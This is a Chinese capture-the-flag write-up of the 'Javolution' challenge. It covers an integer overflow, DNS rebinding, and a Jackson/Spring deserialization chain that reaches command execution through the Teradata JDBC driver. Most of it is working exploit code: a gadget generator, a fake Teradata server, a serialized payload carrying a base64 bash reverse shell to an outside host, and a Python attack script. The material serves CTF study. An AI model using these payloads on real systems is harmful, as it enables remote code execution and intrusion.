周末简单看了下题,天枢出的题质量确实很高,但奈何自己水平就这样,只做了两道题。

Javolution

题解

Javolution 这题当时是真的没有发现竟然1ue师傅这里有现成的fakeserver脚本https://github.com/luelueking/Deserial_Sink_With_JDBC(自己还花了一天的时间在手搓协议)

模拟了一个宝可梦战斗的程序,然后这里存在整数溢出问题

image-20240319114154921

直接把字节防御值设为 -2147483648 就能打过了

/cheat 接口能打反序列化,InetAddress.getByName(host) 这里利用DNS重绑定攻击绕

关键是找反序列化的 gadget

目标环境是jdk17,有spring环境,有jackson依赖,可以打jackson的原生反序列化触发环境中 TeraDataSourcegetConnection 方法

后续流程

image-20240319114127876

image-20240319114133874

后续相关Connection父类 GenericTeradataConnection 存在一处命令执行的地方,且参数可控

img

Exp

//坑:!!!得用题目提供的PalDataSource来反序列化,不然linux下getParentLogger这里会报错

package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.teradata.jdbc.TeraDataSource;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

public class GenPayload {
    public static void gen() throws Exception {


        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        TeraDataSource dataSource = new PalDataSource();
        dataSource.setDSName("xxx.xxx.xxx.xxx");
        dataSource.setSSLMODE("DISABLE");
        //commond
        dataSource.setBROWSER("bash -c {echo,bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}}|{base64,-d}|{bash,-i}");
//        dataSource.setBROWSER("calc");

        dataSource.setTYPE("RAW");
        dataSource.setLOGMECH("BROWSER");

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(dataSource);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler);

        POJONode jsonNodes = new POJONode(proxyObj);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);

    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

现在有个问题是这里会发起一个正常的teradata数据库连接,所以得搭建一个这样的数据库

参考,https://www.w3cschool.cn/teradata/teradata_installation.html

自己下载了这4个多G的镜像,起了服务后尝试连接,但报错

[Teradata JDBC Driver] [TeraJDBC 20.00.00.16] [Error 1542] [SQLState 08000] Browser Authentication Mechanism not supported by this database

参考官方文档

https://docs.teradata.com/r/Enterprise_IntelliFlex_VMware/Security-Administration/Configuring-Single-Sign-On/Configuration-for-Browser-Authentication

但还是不太行

后面索性抓包得到数据包,然后根据源码和得到的数据包再改写得到fakeserver(真的是花了一整天,先是尝试手搓整个报文,但后续分析源码发现太耗时间了,所以直接在原有的数据包后追加我们需要的parcel即可)

import com.teradata.jdbc.jdbc_4.io.TDNetworkIOIF;
import com.teradata.jdbc.jdbc_4.io.TDPacket;
import com.teradata.jdbc.jdbc_4.logging.Log;
import com.teradata.jdbc.jdbc_4.parcel.SecurityPolicyParcel;
import com.teradata.jdbc.jdbc_4.util.ErrorAnalyzer;
import javax.net.ssl.SSLSocket;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.ServerSocket;
import java.net.Socket;
import java.sql.SQLException;
import java.util.Arrays;

public class ProtocolPoc {

    static byte[] bytes = new byte[] {3, 2, 10, 0, 0, 7, 0, 0, 3, 120, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 2, 78, 0, 0, 3, -24, 0, 0, 3, -24, 0, 120, 0, 1, 119, -1, 0, 0, 0, 2, 0, 0, 0, 1, -1, 0, 0, 4, -66, 0, 85, 84, 70, 49, 54, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -65, 0, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -1, 0, 65, 83, 67, 73, 73, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -64, 0, 69, 66, 67, 68, 73, 67, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 78, 1, 0, 1, 0, 1, 84, 0, 7, 0, -116, 49, 0, 0, 100, 0, 0, -6, 0, 0, 15, 66, 64, 0, 0, 0, 0, 124, -1, 6, 0, 0, 112, 0, 0, 0, -1, -8, 0, 0, 0, 1, 0, 0, 0, 0, -65, 0, 0, 0, 16, 0, 0, -1, -1, 0, 0, 8, 0, 0, 0, 0, -128, 0, 0, 0, 64, 0, 0, 9, -25, 0, 15, -96, 0, 0, 0, -14, 48, 0, 0, 121, 24, 0, 0, 0, 38, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, 125, 0, 0, 0, 125, 0, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, 9, -25, 0, 0, 0, 6, 0, 0, 0, 6, 0, 0, 0, 6, 0, 0, 3, -24, 0, 15, -96, 0, 0, -1, -4, 0, 0, 15, -1, -76, 0, 0, -6, 0, 0, 9, 0, 1, 1, 0, 10, 0, 28, 1, 1, 1, 1, 1, 1, 1, 2, 1, 0, 1, 1, 0, 1, 1, 1, 1, 2, 1, 1, 0, 1, 1, 1, 1, 1, 1, 2, 0, 11, 0, 34, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 12, 0, 6, 1, 0, 1, 2, 1, 1, 0, 13, 0, 62, 49, 55, 46, 50, 48, 46, 48, 51, 46, 48, 57, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 55, 46, 50, 48, 46, 48, 51, 46, 48, 57, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 14, 0, 4, 3, 3, 2, 3, 0, 15, 0, 40, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 16, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -128, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 32, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 8, 1, 1, 1, 0, 0, 0, 0, 0, 0, 6, 0, 2, 1, 73, 0, -91, 0, 76, 0, 0, 0, 1, 0, 1, 0, 5, 1, 0, 2, 0, 8, 17, 20, 3, 9, 0, 3, 0, 4, 0, 4, 0, 6, 0, 33, 0, 6, 0, 4, 0, 5, 0, 4, 0, 7, 0, 4, 0, 8, 0, 4, 0, 9, 0, 4, 0, 10, 0, 5, 1, 0, 11, 0, 5, 1, 0, 12, 0, 5, 1, 0, 14, 0, 4, 0, 16, 0, 6, 1, 0, 0, -89, 0, 49, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, 63, 1, -121, 116, 1, 1, 9, 0, 16, 0, 12, 0, 0, 0, 3, 0, 0, 0, 1, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 20, 0, -89, 0, 36, 0, 0, 0, 1, 0, 0, 0, 12, 43, 6, 1, 4, 1, -127, 63, 1, -121, 116, 1, 20, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 70, 0, -89, 0, 33, 0, 0, 0, 1, 0, 0, 0, 9, 42, -122, 72, -122, -9, 18, 1, 2, 2, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 40, 0, -89, 0, 30, 0, 0, 0, 1, 0, 0, 0, 6, 43, 6, 1, 5, 5, 2, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 65, 0, -89, 0, 37, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, -32, 26, 4, -126, 46, 1, 4, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 30, 0, -89, 0, 37, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, -32, 26, 4, -126, 46, 1, 3, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 10};
    static String url = "http://xxx.xxx.xxx.xxx:8080";
    public static void main(String[] args) throws SQLException {

        // 服务器端代码
        try {
            ServerSocket serverSocket = new ServerSocket(1025);
            while (true) {

                System.out.println("Server started, waiting for client...");

                Socket clientSocket = serverSocket.accept();
                System.out.println("Client connected.");
                OutputStream out = clientSocket.getOutputStream();

                // 创建TDPacket对象并设置数据
                TDPacket packet = new TDPacket(1024);
                packet.getBuffer().put(bytes);

                //第8第9个字节为报文总长度,需要需修改
                //940 -52 =888
                //888 + 17 + url.getBytes().length
                packet.getBuffer().putShort(8, (short) (888 + 17 + url.getBytes().length));

                setGtwConfigParcel(packet);

                out.write(packet.getBuffer().getBuffer());

                System.out.println("end............");
            }

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    //总长为18字节
    public static void setGtwConfigParcel(TDPacket packet) {

        //Gtw标识,装填Flavor
        packet.getBuffer().putShort((short) 165);
        // 之后buffer里开始填 GtwConfigParcel 的数据
        // Parcel数据的整体长度
        packet.getBuffer().putShort((short) (17 + url.getBytes().length));
        // Int标识
        packet.getBuffer().putInt(1);
        // determineFeatureSupport中的标识
        // var4 var5
        packet.getBuffer().putShort((short) 15);
        //**填充, 坑,调试出来的,和给的url长度有关**
        packet.getBuffer().putShort((short) 35);
        // m_sIdentityProviderClientID
        packet.getBuffer().putShort((short) 1);
        packet.getBuffer().put((byte) 97);
        // m_sIdentityProviderURL

        packet.getBuffer().putShort((short) url.getBytes().length);
        for (byte b: url.getBytes()) {
            packet.getBuffer().put(b);
        }
    }


}

然后服务器上放个.well-known/openid-configuration文件

{
    "authorization_endpoint": "xxx",
    "token_endpoint": "xxxx"
}

Exp

import requests

payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAN29yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5Ib3RTd2FwcGFibGVUYXJnZXRTb3VyY2VoDf7kp0GjUwIAAUwABnRhcmdldHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AA3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABABRqYXZheC5zcWwuRGF0YVNvdXJjZXhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AE0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHNyADxvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuRGVmYXVsdEFkdmlzb3JDaGFpbkZhY3RvcnlU3WQ34k5x9wIAAHhwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3EAfgAZAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AAN4cHNyACdvcmcuZHViaGUuamF2b2x1dGlvbi5wb29sLlBhbERhdGFTb3VyY2WdSCckHlz9rQIAAHhyACBjb20udGVyYWRhdGEuamRiYy5UZXJhRGF0YVNvdXJjZRhK+SbQU/G9AgAAeHIAJGNvbS50ZXJhZGF0YS5qZGJjLlRlcmFEYXRhU291cmNlQmFzZQYeeS/skN2GAgBeSQAORFNMb2dpblRpbWVvdXRMAAdDaGFyU2V0dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGRFNOYW1lcQB+ACFMAAdMb2dEYXRhcQB+ACFMAAdMb2dNZWNocQB+ACFMAAlQYXJ0aXRpb25xAH4AIUwADFRyYW5zYWN0TW9kZXEAfgAhTAAJYWNjb3VudElkcQB+ACFMAAljb21wYXREQlNxAH4AIUwAD2NvbXBhdEdldFNjaGVtYXEAfgAhTAAOY29tcGF0R2V0VGFibGVxAH4AIUwAD2NvbXBhdElzQXV0b0luY3EAfgAhTAAQY29tcGF0SXNDdXJyZW5jeXEAfgAhTAAPY29tcGF0SXNEZWZXcml0cQB+ACFMABBjb21wYXRJc1JlYWRPbmx5cQB+ACFMAA5jb21wYXRJc1NlYXJjaHEAfgAhTAAOY29tcGF0SXNTaWduZWRxAH4AIUwAEGNvbXBhdElzV3JpdGFibGVxAH4AIUwADGRhdGFiYXNlTmFtZXEAfgAhTAAOZGF0YXNvdXJjZU5hbWVxAH4AIUwAB2Ric1BvcnRxAH4AIUwAFWRlcHJlY2F0ZWRfc2VydmVyTmFtZXEAfgAhTAALZGVzY3JpcHRpb25xAH4AIUwAC2VuY3J5cHREYXRhcQB+ACFMAAZnb3Zlcm5xAH4AIUwACmxvYlN1cHBvcnRxAH4AIUwADGxvYlRlbXBUYWJsZXEAfgAhTAAIbG9nTGV2ZWxxAH4AIUwACWxvZ1dyaXRlcnQAFUxqYXZhL2lvL1ByaW50V3JpdGVyO0wADm1fY29wRGlzY292ZXJ5cQB+ACFMAA1tX3ByZXBTdXBwb3J0cQB+ACFMABZtX3NBY2N1cmF0ZUNvbHVtbk5hbWVzcQB+ACFMAAptX3NCcm93c2VycQB+ACFMABRtX3NCcm93c2VyVGFiVGltZW91dHEAfgAhTAARbV9zQnJvd3NlclRpbWVvdXRxAH4AIUwACm1fc0NPUExhc3RxAH4AIUwAEG1fc0NsaWVudENoYXJzZXRxAH4AIUwAFG1fc0Nvbm5lY3RGYWlsdXJlVFRMcQB+ACFMABJtX3NDb25uZWN0RnVuY3Rpb25xAH4AIUwAGG1fc0NyZWRlbnRpYWxzRnJvbUdldFVSTHEAfgAhTAAQbV9zRGF0YURpY3RTdGF0c3EAfgAhTAASbV9zRXJyb3JRdWVyeUNvdW50cQB+ACFMABVtX3NFcnJvclF1ZXJ5SW50ZXJ2YWxxAH4AIUwAFG1fc0Vycm9yVGFibGUxU3VmZml4cQB+ACFMABRtX3NFcnJvclRhYmxlMlN1ZmZpeHEAfgAhTAAVbV9zRXJyb3JUYWJsZURhdGFiYXNlcQB+ACFMABFtX3NGaWVsZFNlcGFyYXRvcnEAfgAhTAAUbV9zRmluYWxpemVBdXRvQ2xvc2VxAH4AIUwACm1fc0ZsYXR0ZW5xAH4AIUwADG1fc0hUVFBTUG9ydHEAfgAhTAANbV9zSFRUUFNQcm94eXEAfgAhTAAVbV9zSFRUUFNQcm94eVBhc3N3b3JkcQB+ACFMABFtX3NIVFRQU1Byb3h5VXNlcnEAfgAhTAAKbV9zTFNTVHlwZXEAfgAhTAAUbV9zTGl0ZXJhbFVuZGVyc2NvcmVxAH4AIUwAFm1fc0xvZ29uU2VxdWVuY2VOdW1iZXJxAH4AIUwAEW1fc01heE1lc3NhZ2VCb2R5cQB+ACFMAAxtX3NNYXlCZU51bGxxAH4AIUwADG1fc09JRENTY29wZXEAfgAhTAAMbV9zT0lEQ1Rva2VucQB+ACFMABNtX3NQcm94eUJ5cGFzc0hvc3RzcQB+ACFMABFtX3NSZWNvbm5lY3RDb3VudHEAfgAhTAAUbV9zUmVjb25uZWN0SW50ZXJ2YWxxAH4AIUwACm1fc1JlZHJpdmVxAH4AIUwADW1fc1J1blN0YXJ0dXBxAH4AIUwACG1fc1NTTENBcQB+ACFMAAxtX3NTU0xDQVBhdGhxAH4AIUwACW1fc1NTTENSQ3EAfgAhTAAJbV9zU1NMQ1JMcQB+ACFMAAxtX3NTU0xDaXBoZXJxAH4AIUwAC21fc1NTTERlYnVncQB+ACFMAAptX3NTU0xNb2RlcQB+ACFMAAptX3NTU0xPQ1NQcQB+ACFMAA5tX3NTU0xQcm90b2NvbHEAfgAhTAAQbV9zU1NMVHJ1c3RTdG9yZXEAfgAhTAAYbV9zU1NMVHJ1c3RTdG9yZVBhc3N3b3JkcQB+ACFMABRtX3NTU0xUcnVzdFN0b3JlVHlwZXEAfgAhTAANbV9zU2lwU3VwcG9ydHEAfgAhTAAXbV9zU2xvYlJlY2VpdmVUaHJlc2hvbGRxAH4AIUwAGG1fc1Nsb2JUcmFuc21pdFRocmVzaG9sZHEAfgAhTAAPbV9zU3RyaWN0RW5jb2RlcQB+ACFMAAZtX3NUQ1BxAH4AIUwAFm1fc1RydXN0ZWRTUUxBd2FyZW5lc3NxAH4AIUwAEG1fc1hYRVByb2Nlc3NpbmdxAH4AIUwAC25ld1Bhc3N3b3JkcQB+ACFMAAhwYXNzd29yZHEAfgAhTAAKc2VydmVyTmFtZXEAfgAhTAAIc2Vzc2lvbnNxAH4AIUwAA3NwbHEAfgAhTAAFdG5hbm9xAH4AIUwABnRzbmFub3EAfgAhTAAEdHlwZXEAfgAhTAAJdXNlWHZpZXdzcQB+ACFMAAR1c2VycQB+ACF4cAAAAAB0AAVBU0NJSXQADjExMS4yMjkuODguMTQ1cHQAB0JST1dTRVJ0AAdEQkMvU1FMdAAHREVGQVVMVHQADU5PX0FDQ09VTlRfSURwcHBwcHBwcHBwdAAPTk9fREVGX0RBVEFCQVNFcHBwdAAUVGVyYWRhdGEgRGF0YSBTb3VyY2V0AANPRkZ0AAJPTnEAfgAtcHBwcQB+AC1wcHQAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFeE1TNHlNamt1T0RndU1UUTFMekV5TXpRZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX1wcHBwcHBwcHBwcHBwdAABLHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHQAB0RJU0FCTEVwcHBwcHEAfgAtcHBwcHBwcHBwdAABMHQAA1NQTHBwdAADUkFXcQB+ACxwdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAADdnIAI29yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLlNwcmluZ1Byb3h5AAAAAAAAAAAAAAB4cHZyAClvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZAAAAAAAAAAAAAAAeHB2cgAob3JnLnNwcmluZ2ZyYW1ld29yay5jb3JlLkRlY29yYXRpbmdQcm94eQAAAAAAAAAAAAAAeHBxAH4ABHNxAH4AAnNyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YU3RyaW5nHAonO0gWxf0CAAB4cgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWE9iamVjdPSYEgm7e7YZAgABTAAFbV9vYmpxAH4AA3hyACxjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwuRXhwcmVzc2lvbgfZphyNrKzWAgABTAAIbV9wYXJlbnR0ADJMY29tL3N1bi9vcmcvYXBhY2hlL3hwYXRoL2ludGVybmFsL0V4cHJlc3Npb25Ob2RlO3hwcHQAATFxAH4APHg="

baseUrl = "http://1.95.54.152:39443"

def battle(boss):
    res = requests.get(baseUrl + f"/pal/battle/{boss}")
    print(res.text)
    
def cheat():
    res = requests.get(baseUrl + "/pal/cheat?defense=-2147483648")
    
def show():
    res = requests.get(baseUrl + "/pal/show")
    print(res.text)

def reverseShell():
    res = requests.post(baseUrl + "/pal/cheat", data={"host": "dubhe.pankas.top", "data": payload})
    print(res.text)

if __name__ == "__main__":
    cheat()
    show()
    battle("Jetragon")
    show()
    reverseShell()

image-20240319114307348

关于新学到的点

记录下出题人的记录 https://h4cking2thegate.github.io/posts/42795/

然后这里关于出题人的wp中对于toString的触发其实是很不错的

出题人的wp

package org.example.teratest;

import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

public class JacksonTera
{
    public static void main(String[] args) throws Exception
    {
        String command = "notepad";
        PalDataSource dataSource = new PalDataSource();
        dataSource.setBROWSER(command);
        dataSource.setLOGMECH("BROWSER");
        dataSource.setDSName("127.0.0.1");
        dataSource.setDbsPort("10250");
        dataSource.setBROWSER_TIMEOUT("2");
        dataSource.getConnection();
        Object proxy = getProxy(dataSource, DataSource.class);
        Object exp = getXstringMap(proxy);
        base64Serialize(exp);
    }

    public static Object getProxy(Object obj,Class<?> clazz) throws Exception
    {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(obj);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
        return proxy;
    }

    public static Object getXstringMap(Object obj) throws Exception
    {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        POJONode node = new POJONode(obj);

        XString xString = new XString("A.R.");

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();
        map1.put("yy", node);
        map1.put("zZ", xString);
        map2.put("yy", xString);
        map2.put("zZ", node);
        Object o = makeMap(map1, map2);

        return o;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception
    {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static String base64Serialize(Object obj) throws Exception
    {

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(payload);
        return payload;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
    {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

对于jackson的链子,比较关键的就是如何找到 toString() 这个点 ,一般比较好找的点就是从 equals 方法到 toString 方法,所以一般在有 XString 的情况下就可以利用 XStringequals方法来触发 POJONodetoString 方法。一般equal方法确实是比较好触发的,这里A.R师傅就是给出了一种比较通用的办法,就是利用 HashMap 的hash碰撞来触发equals 方法。

先来看看HashMap 是如何put

image-20240326221700946

调用 hash 方法计算key的hashCode,之后调用 putVal 添加数据,hash 方法调用的是key的 hashCode 方法,所以这里一个sink点是 hashCode() 方法。

关键是看后面HashMap是如何处理hash碰撞的

image-20240326221931404

putVal 中能看到,当两个值的hashcode一样时 **(发生hash碰撞)**,会调用keyequal 方法来和hash值一样的key进行比较看是否相等,那么这里就找到了一个 equals 的sink点,后续利用 XString 就可以从 equalstoString

所以这里的点就是如何构造hash碰撞

我们知道在反序列化HashMap的时候必定会调用 HashMap 的 put 方法添加数据,而对于不同的对象,其hashcode一般是不一样的,

但字符串除外,两个不同的字符串他们的hashcode可能会是一样的,比如字符串 yy 和 字符串 zZ,他们的hashcode就是一样的。但调用 字符串的equals 方法是没啥意义的,我们得利用特定对象的 equals 方法才行,所以这里就要求我们找两个hashcode 相同的不同对象才可以。

这样的类有吗,确实是有的,比如 org.springframework.aop.target.HotSwappableTargetSource ,它的hashCode 方法的返回值是固定的,它的两个不同对象可以实现hash碰撞

image-20240326222957330

那有没有更通用的,在jdk原生包里就有的呢?

也是有的,就是上面payload中使用的方法,在 HashMap 中套两个 HashMap 来完成hash碰撞,且能触发其中特性对象的 equals 方法

看看 HashMaphashCode 方法是如何计算hash值的

使用的是其父类 AbstractMaphashCode 方法

image-20240326223523270

比较简单暴力,就是对HashMap中每一个entry的hashcode值累加得到

其中entry的hashCode方法就是对其 keyvalue 的hashcode 异或

image-20240326223754655

所以假设有两个不同的对象 CD,要满足 A^C +B^D == A^D + B^C,我们只要令A == B,就可以,而对于 A和B我们给两个hashcode相同的字符串即可,如 yyzZ

